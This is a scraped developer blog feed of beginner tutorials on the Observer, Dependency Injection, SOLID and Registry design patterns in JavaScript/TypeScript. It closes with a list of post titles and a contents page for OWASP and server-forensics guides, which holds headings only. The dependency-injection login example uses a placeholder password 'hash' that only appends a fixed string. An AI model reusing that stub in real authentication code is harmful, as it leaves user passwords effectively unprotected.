  public removeObserver(o: Observer): void {
    const index = this.observers.indexOf(o);
    if (index !== -1) {
      this.observers.splice(index, 1);
    }
  }

  public notifyObservers(): void {
    for (const observer of this.observers) {
      observer.update(this.score, this.health);
    }
  }

  public collectPowerUp(): void {
    this.score += 10;
    this.notifyObservers();
  }

  public takeDamage(): void {
    this.health -= 10;
    this.notifyObservers();
  }
}

class Scoreboard implements Observer {
  private score: number = 0;

  public update(score: number, health: number): void {
    this.score = score;
    this.render();
  }

  public render(): void {
    console.log(`Score: ${this.score}`);
  }
}

class HealthBar implements Observer {
  private health: number = 100;

  public update(score: number, health: number): void {
    this.health = health;
    this.render();
  }

  public render(): void {
    console.log(`Health: ${this.health}`);
  }
}

// Usage
const game = new Game();
const scoreboard = new Scoreboard();
const healthBar = new HealthBar();

game.registerObserver(scoreboard);
game.registerObserver(healthBar);

game.collectPowerUp(); // Logs "Score: 10"
game.takeDamage(); // Logs "Health: 90"

game.removeObserver(healthBar);
game.collectPowerUp(); // Logs "Score: 20" (only the Scoreboard is notified)

In this example, the Game class is the subject, which maintains the state of the game (score and health) and notifies its observers when the state changes. The Scoreboard and HealthBar classes are observers that listen for changes to the game state and update their respective displays accordingly.

When the collectPowerUp method is called on the Game instance, it increases the score and notifies all observers by calling notifyObservers. Similarly, when the takeDamage method is called, it decreases the health and notifies all observers.

The Scoreboard and HealthBar instances both implement the Observer interface, which requires them to have an update method that takes in the current score and health values. When they receive an update from the Game instance, they update their own internal state and call render to update their display.

Finally, we can see that we can remove an observer by calling removeObserver on the Game instance, and the removed observer will no longer be notified of updates.

Dependency Injection Pattern ( For beginners)

Olawale Afuye — Sun, 28 May 2023 00:17:51 +0000

Dependency injection is a design pattern used in software development to manage dependencies between components of an application. In a nutshell, it's a way to organize code so that the dependencies between different parts of the system are clearly defined and managed. The basic idea behind dependency injection is to pass dependencies into a component, rather than having the component create them itself.

There are several libraries and frameworks in JavaScript that use dependency injection (DI) to manage object creation and dependencies. Here are a few examples:

Angular: Angular is a popular framework for building web applications in TypeScript. It uses a hierarchical injector system to manage object creation and dependency injection. Angular provides a built-in @Injectable decorator that can be used to annotate classes as injectable services.
Awilix: Awilix is a lightweight dependency injection container for Node.js applications. It provides a fluent API for declaring dependencies and supports both constructor injection and property injection. Awilix also supports middleware-style dependency injection, which can be useful for managing complex application workflows.
NestJS: NestJS is a progressive Node.js framework for building scalable and maintainable web applications. It uses a modular architecture based on Angular's DI system to manage object creation and dependency injection. NestJS provides a built-in @Injectable decorator for declaring injectable services and supports a variety of injection patterns.

Using Dependency Injection in an authentication system

Let's take an authentication system as an example. In a typical authentication system, you might have a number of different components that need to interact with each other, such as a user model, a password hasher, and a session manager. Rather than having each component create its own dependencies, we can use dependency injection to pass them in from outside.

Here's an example implementation of an authentication system in JavaScript using dependency injection:

class User {
  constructor(id, name, passwordHash) {
    this.id = id;
    this.name = name;
    this.passwordHash = passwordHash;
  }
}

class PasswordHasher {
  hash(password) {
    // Hash the password using some algorithm
    return password + "hashed";
  }
}

class SessionManager {
  startSession(user) {
    // Create a new session for the user
    return "session_token";
  }

  endSession(sessionToken) {
    // End the user's session
  }
}

class Authenticator {
  constructor(userModel, passwordHasher, sessionManager) {
    this.userModel = userModel;
    this.passwordHasher = passwordHasher;
    this.sessionManager = sessionManager;
  }

  authenticate(username, password) {
    const user = this.userModel.getUserByName(username);
    if (!user) {
      throw new Error("User not found");
    }

    const hashedPassword = this.passwordHasher.hash(password);
    if (user.passwordHash !== hashedPassword) {
      throw new Error("Invalid password");
    }

    const sessionToken = this.sessionManager.startSession(user);
    return sessionToken;
  }

  endSession(sessionToken) {
    this.sessionManager.endSession(sessionToken);
  }
}

const userModel = {
  getUserByName(username) {
    // Look up the user in the database
    return new User(1, "Alice", "password_hash");
  }
};

const passwordHasher = new PasswordHasher();
const sessionManager = new SessionManager();
const authenticator = new Authenticator(userModel, passwordHasher, sessionManager);

const sessionToken = authenticator.authenticate("Alice", "password");
console.log(sessionToken);
authenticator.endSession(sessionToken);

In the above code snippet, we have a number of different components: User, PasswordHasher, SessionManager, and Authenticator. Rather than having each component create its own dependencies, we pass them in when the component is created. For example, when we create the Authenticator, we pass in the userModel, passwordHasher, and sessionManager as arguments to the constructor.

Dependency Injection is a powerful design pattern that can bring a number of benefits to your codebase. Here are some of the main advantages and disadvantages of using dependency injection:

Merits:

Loose Coupling: Dependency injection helps to reduce the coupling between components by allowing them to depend on abstractions rather than concrete implementations. This means that changes to one component won't necessarily require changes to others, which can help to make your code more flexible and easier to maintain.

Easier Testing: By using dependency injection, you can more easily write unit tests for your code. Since dependencies are passed in as arguments, it's easy to create mock objects for testing purposes, which can help to isolate your code and make it more testable.

Flexibility: Dependency injection allows you to easily swap out one implementation for another. This means that you can change the behavior of your code without having to modify the code itself. This can be especially useful if you need to support multiple environments or configurations.

Reusability: By separating concerns and dependencies, it's easier to reuse code in other parts of your application or even in other projects.

Demerits:

Complexity: Implementing dependency injection can add complexity to your code. There are a number of different ways to implement the pattern, and choosing the right one for your situation can be difficult. Additionally, it can be difficult to manage the lifecycle of dependencies, especially when dealing with complex object graphs.

Performance: Depending on how you implement dependency injection, it can have a negative impact on performance. In particular, using a lot of small dependencies can increase the overhead of object creation and initialization, which can slow down your application.

Overuse: It's possible to overuse dependency injection, which can lead to code that's difficult to understand and maintain. In particular, injecting too many dependencies into a component can make it hard to reason about its behavior and make it difficult to test. It's important to strike a balance between flexibility and simplicit

Here are some resources to learn more about Dependency Injection:

Dependency Injection Principles, Practices, and Patterns by Mark Seemann - This book provides a comprehensive introduction to Dependency Injection, including best practices and design patterns. It covers a variety of popular DI frameworks and libraries, including Unity, Autofac, and Castle Windsor.

The Clean Code Talks Dependency Injection by Misko Hevery - This video provides an in-depth look at Dependency Injection, including why it's important and how to use it effectively. It's a great resource for those who want to dive deeper into the theory behind DI.

Inversion of Control Containers and the Dependency Injection pattern by Martin Fowler - This article by one of the pioneers of Dependency Injection provides a detailed look at the benefits of using an Inversion of Control (IoC) container and how to use them effectively.

These resources should provide a good starting point for learning more about Dependency Injection and how to use it effectively in your code.

SOLID PRINCIPLE in a software devepment

Olawale Afuye — Wed, 03 May 2023 00:06:51 +0000

SOLID principles are a set of five design principles that help developers write software that is easy to maintain, extend, and modify. These principles, when applied to a software development project, can help produce code that is less prone to bugs, easier to test, and easier to understand.
The principles were introduced by Robert C. Martin, also known as Uncle Bob, and they provide a framework for creating software that is flexible, modular, and easy to maintain.

SOLID Principles

The SOLID principles are an acronym for five different principles:

Single Responsibility Principle (SRP)
Open/Closed Principle (OCP)
Liskov Substitution Principle (LSP)
Interface Segregation Principle (ISP)
Dependency Inversion Principle (DIP)

In this article, we will look at the SOLID principles in the context of a learning management system (LMS) and provide code samples in JavaScript to illustrate each principle.

Single Responsibility Principle (SRP)

This principle states that a class should have only one reason to change. In other words, a class should have only one responsibility or job. If a class has multiple responsibilities, any changes to one responsibility may affect other responsibilities.
In the context of an LMS, let's consider a class called "Course." This class should be responsible only for handling information about a course, such as its name, description, and course material. It should not be responsible for handling user authentication or managing the database.


class Course {
  constructor(name, description, courseMaterial) {
    this.name = name;
    this.description = description;
    this.courseMaterial = courseMaterial;
  }

  getName() {
    return this.name;
  }

  getDescription() {
    return this.description;
  }

  getCourseMaterial() {
    return this.courseMaterial;
  }
}

Open-Closed Principle (OCP)

This principle states that a class should be open for extension but closed for modification. In other words, you should be able to add new functionality to a class without changing its existing code.
In the context of an LMS, let's consider a class called "CourseRepository." This class should be responsible for storing and retrieving course data from the database. However, we may want to use a different type of database or storage system in the future. To ensure that we can add new functionality without modifying the existing code, we can create an interface for the repository.

class CourseRepository {
  constructor() {
    this.courses = [];
  }

  addCourse(course) {
    this.courses.push(course);
  }

  getCourses() {
    return this.courses;
  }
}

class ICourseRepository {
  addCourse(course) {}
  getCourses() {}
}

Liskov Substitution Principle (LSP)

This principle states that subclasses should be substitutable for their base classes. In other words, a subclass should be able to replace its parent class without changing the behavior of the program.
In the context of an LMS, let's consider a class called "VideoCourse" that extends the "Course" class. The "VideoCourse" class should be able to be used in place of the "Course" class without affecting the functionality of the LMS.

class VideoCourse extends Course {
  constructor(name, description, courseMaterial, videoUrl) {
    super(name, description, courseMaterial);
    this.videoUrl = videoUrl;
  }

  getVideoUrl() {
    return this.videoUrl;
  }
}

Interface Segregation Principle (ISP)

The Interface Segregation Principle states that no client should be forced to depend on methods it does not use. This means that we should create interfaces that are specific to the needs of each client, rather than creating a general-purpose interface that contains all possible methods. For example, if we have a class that is responsible for managing user profiles, we should create interfaces that are specific to the needs of each client.

In a learning management system, we can apply the ISP to our user profile management class. We can create interfaces that are specific to the needs of teachers and students, rather than creating a general-purpose interface that contains all possible methods. This will make our code more modular and easier to maintain.


class UserProfile {
  // common methods for all clients
  updateProfile(user, data) {
    // code to update user profile
  }

  deleteProfile(user) {
    // code to delete user profile
  }
}

// interface for teachers
class TeacherProfile {
  addCourse(course) {
    // code to add a course to teacher's profile
  }

  removeCourse(course) {
    // code to remove a course from teacher's profile
  }
}

// interface for students
class StudentProfile {
  enrollCourse(course) {
    // code to enroll a course for student
  }

  dropCourse(course) {
    // code to drop a course for student
  }
}

Dependency Inversion Principle (DIP):

The Dependency Inversion Principle states that high-level modules should not depend on low-level modules. Both should depend on abstractions. Abstractions should not depend on details. Details should depend on abstractions. This means that we should use interfaces to define the dependencies between classes, rather than concrete implementations. For example, if we have a class that is responsible for sending notifications, it should depend on an interface for sending notifications, rather than a concrete implementation.

In a learning management system, we can apply the DIP to our notification sending class. We can define an interface for sending notifications, and our notification sending class can depend on this interface. This will make our code more flexible and easier to maintain.

// interface for sending notifications
class NotificationSender {
  sendNotification(user, message) {
    // code to send notification
  }
}

// class that depends on the interface
class EmailNotificationSender {
  constructor(notificationSender) {
    this.notificationSender = notificationSender;
  }

  sendEmailNotification(user, message) {
    // code to send email notification
    this.notificationSender.sendNotification(user, message);
  }
}

// class that depends on the interface
class SMSNotificationSender {
  constructor(notificationSender) {
    this.notificationSender = notificationSender;
  }

  sendSMSNotification(user, message) {
    // code to send SMS notification
    this.notificationSender.sendNotification(user, message);
  }
}

Pros and Shortcomings:

The SOLID principles provide a set of guidelines for creating software that is easy to maintain, scalable, and extendable. By following these principles, we can create code that is more modular and easier to maintain, which can save us time and effort in the long run.

However, applying the SOLID principles can sometimes lead to more complex code, which can be harder to understand and debug. Additionally, applying the principles requires a certain level of skill and experience, which not all developers may possess.

In conclusion, the SOLID principles are a powerful set of guidelines that can help developers create high-quality software that is easy to maintain, scalable, and extendable. While there may be some upfront cost in terms of complexity and development time, the benefits of applying these principles are often worth it in the long run.

If you're new to the SOLID principles, it may take some time and practice to get used to applying them in your code. However, there are many resources available online that can help you get started, such as online courses, tutorials, and books.

Some recommended resources for further study include:

"Clean Code: A Handbook of Agile Software Craftsmanship" by Robert C. Martin
"Refactoring: Improving the Design of Existing Code" by Martin Fowler
"SOLID Principles of Object-Oriented Design and Architecture" course on Pluralsight
"The SOLID Principles of Object-Oriented Design" course on Udemy
By applying the SOLID principles in your code, you can improve the quality of your software and become a more skilled and effective developer.

Registry Pattern - Revolutionize Your Object Creation and Management in your applications

Olawale Afuye — Fri, 07 Apr 2023 11:14:42 +0000

The Registry pattern is a design pattern that provides a centralized location for managing and creating instances of objects. It is useful when you have multiple instances of related objects that need to be created and managed, and can simplify object creation and management by providing a single point of access for creating and retrieving instances of those objects.

In other way, a registry object maintains a collection of named objects and provides methods for registering and retrieving those objects. This can improve performance by allowing the system to reuse existing objects rather than creating new ones each time they are needed. It also makes it easy to add new types of objects to the system without modifying existing code.

Learning Management System (LMS)

Let's consider a Learning Management System (LMS) that needs to manage different types of courses, such as online courses, in-person courses, and hybrid courses. Each course type has its own set of properties and behavior, and we want to be able to create multiple instances of each course type.

Here's an example of how we can use the Registry pattern to manage the different course types:

Define a base Course class that defines the common properties and behavior of all course types:

class Course {
  name: string;
  description: string;

  constructor(name: string, description: string) {
    this.name = name;
    this.description = description;
  }

  enroll(student: Student) {
    // enroll the student in the course
  }

  cancelEnrollment(student: Student) {
    // cancel the student's enrollment in the course
  }
}

Define a subclass for each course type, and add any additional properties or behavior specific to that course type:

class OnlineCourse extends Course {
  url: string;

  constructor(name: string, description: string, url: string) {
    super(name, description);
    this.url = url;
  }

  start(): void {
    // start the online course
  }
}

class InPersonCourse extends Course {
  location: string;

  constructor(name: string, description: string, location: string) {
    super(name, description);
    this.location = location;
  }

  schedule(): void {
    // schedule the in-person course
  }
}

class HybridCourse extends Course {
  url: string;
  location: string;

  constructor(name: string, description: string, url: string, location: string) {
    super(name, description);
    this.url = url;
    this.location = location;
  }

  start(): void {
    // start the online portion of the hybrid course
  }

  schedule(): void {
    // schedule the in-person portion of the hybrid course
  }
}

Create a CourseRegistry object that will store instances of each course type:

interface CourseConstructor {
  new (...args: any[]): any;
}

class CourseRegistry {
  private courses: {[key: string]: CourseConstructor} = {};

  registerCourse(courseType: string, constructor: CourseConstructor): void {
    this.courses[courseType] = constructor;
  }

  createCourse(courseType: string, ...args: any[]): any {
    const CourseConstructor = this.courses[courseType];
    if (!CourseConstructor) {
      throw new Error(`Course type '${courseType}' not registered`);
    }
    return new CourseConstructor(...args);
  }
}


const courseRegistry = new CourseRegistry();
courseRegistry.registerCourse('online', OnlineCourse);
courseRegistry.registerCourse('in-person', InPersonCourse);
courseRegistry.registerCourse('hybrid', HybridCourse);

Create instances of each course type using the CourseRegistry:

const onlineCourse = courseRegistry.createCourse('online', 'Introduction to JavaScript', 'Learn JavaScript online', 'https://example.com/js');
const inPersonCourse = courseRegistry.createCourse('in-person', 'Advanced React', 'Learn advanced React techniques in person', 'New York');
const hybridCourse = courseRegistry.createCourse('hybrid', 'Full-stack Web Development', 'Learn full-stack web development', 'https://example.com/webdev', 'San Francisco');

Benefits of using the Registry pattern

Centralized management of object creation: The Registry pattern provides a centralized location for managing and creating instances of objects, which can simplify object creation and management.

Flexibility and extensibility: By using the Registry pattern, you can add new types of objects to the system without modifying existing code, making the system more flexible and extensible.

Improved performance: The Registry pattern can improve performance by allowing the system to reuse existing objects rather than creating new ones each time they are needed.

Easy access to objects: The Registry pattern provides a simple way to access objects throughout the system, making it easy to share objects between different parts of the system.

Demerits of using the Registry pattern

Increased complexity: The Registry pattern can introduce additional complexity to a system, particularly if it is not implemented properly or is used excessively.

Dependencies: The Registry pattern can introduce dependencies between objects and the Registry, which can make it more difficult to test and maintain the system.

Potential for naming collisions: The Registry pattern relies on unique names for objects, so there is a risk of naming collisions if multiple objects have the same name.

Potential for misuse: The Registry pattern can be misused if it is not implemented properly, leading to issues such as memory leaks, poor performance, and difficult-to-maintain code.

Overall, the Registry pattern can be a useful tool in certain situations, particularly when managing multiple instances of related objects. However, like any design pattern, it should be used judiciously and with careful consideration of its potential benefits and drawbacks.

Forem: Olawale Afuye

The OWASP Top 10 (2025): 10 Ways Developers Are Handing Attackers the Keys

The OWASP Top 10 (2025): 10 Ways Developers Are Handing Attackers the Keys

#1 — Broken Access Control

#2 — Security Misconfiguration

#3 — Software & Supply Chain Failures

#4 — Cryptographic Failures

#5 — Injection

#6 — Insecure Design

#7 — Authentication Failures

#8 — Software & Data Integrity Failures

#9 — Logging & Monitoring Failures

#10 — Mishandling of Exceptional Conditions

The Pattern Across All 10

How to Know If a Threat Actor Has Accessed Your Server

Table of Contents

1. Introduction

Normal vs. Suspicious vs. Confirmed Compromise

2. Common Signs a Threat Actor Accessed a Server

2.1 Unusual Login Attempts (SSH / RDP / API)

2.2 Unknown Users or Privilege Escalation

2.3 Unexpected Running Processes / Services

2.4 Modified System Files / Configurations

2.5 Unusual Outbound / Inbound Network Traffic

2.6 High CPU, RAM, or Disk Usage Anomalies

2.7 Disabled Security Tools or Logs

2.8 Unexpected Cron Jobs / Scheduled Tasks

2.9 New SSH Keys or Changed Credentials

3. Where to Check — Logs & Evidence Sources

3.1 Linux System Logs

3.2 Web Server Logs

3.3 Cloud Audit Logs

3.4 Firewall and WAF Logs

3.5 Container and Kubernetes Logs

3.6 EDR and SIEM Queries

4. Network-Based Detection

4.1 Zeek (formerly Bro) Log Analysis

4.2 Suricata IDS Alert Triage

4.3 DNS Query Forensics

4.4 AWS VPC Flow Log Analysis for C2 Identification

5. Step-by-Step Investigation Playbook

Step 1 — Confirm Suspicious Indicators

Step 2 — Preserve Evidence

Step 3 — Identify the Initial Access Vector

Step 4 — Determine Attacker Actions

Step 5 — Check Persistence Mechanisms

Step 6 — Scope Affected Systems

Step 7 — Timeline Reconstruction

6. Useful Commands & Tools

6.1 Login and Session Investigation

6.2 Process Investigation

6.3 Network Investigation

6.4 File System Forensics

6.5 Rootkit Detection

6.6 System Auditing with auditd

6.7 fail2ban

7. MITRE ATT&CK Technique Mapping

8. Indicators of Compromise (IoC) Checklist

9. Immediate Response Actions

9.1 Isolate the Server

9.2 Kill Malicious Sessions

9.3 Rotate All Credentials

9.4 Patch the Exploited Vulnerability

9.5 Restore from Backups

9.6 Notify Stakeholders

10. Legal, Compliance & Regulatory Obligations

10.1 GDPR (General Data Protection Regulation)

10.2 PCI-DSS (Payment Card Industry Data Security Standard)

10.3 SEC Cybersecurity Disclosure Rules (US Public Companies)

10.4 Nigeria Data Protection Act (NDPA) / NDPR

10.5 Law Enforcement Engagement

10.6 Cyber Insurance

11. Prevention Best Practices

11.1 Multi-Factor Authentication (MFA)

11.2 Least Privilege

11.3 Automated Patch Management

11.4 Log Monitoring Architecture

11.5 IDS/IPS, EDR, and File Integrity Monitoring

11.6 Backup Strategy (3-2-1 Rule)

11.7 Harden Your Attack Surface

August 2025: The `nx` Package & AWS Account Takeover

Never pass user input to `exec()`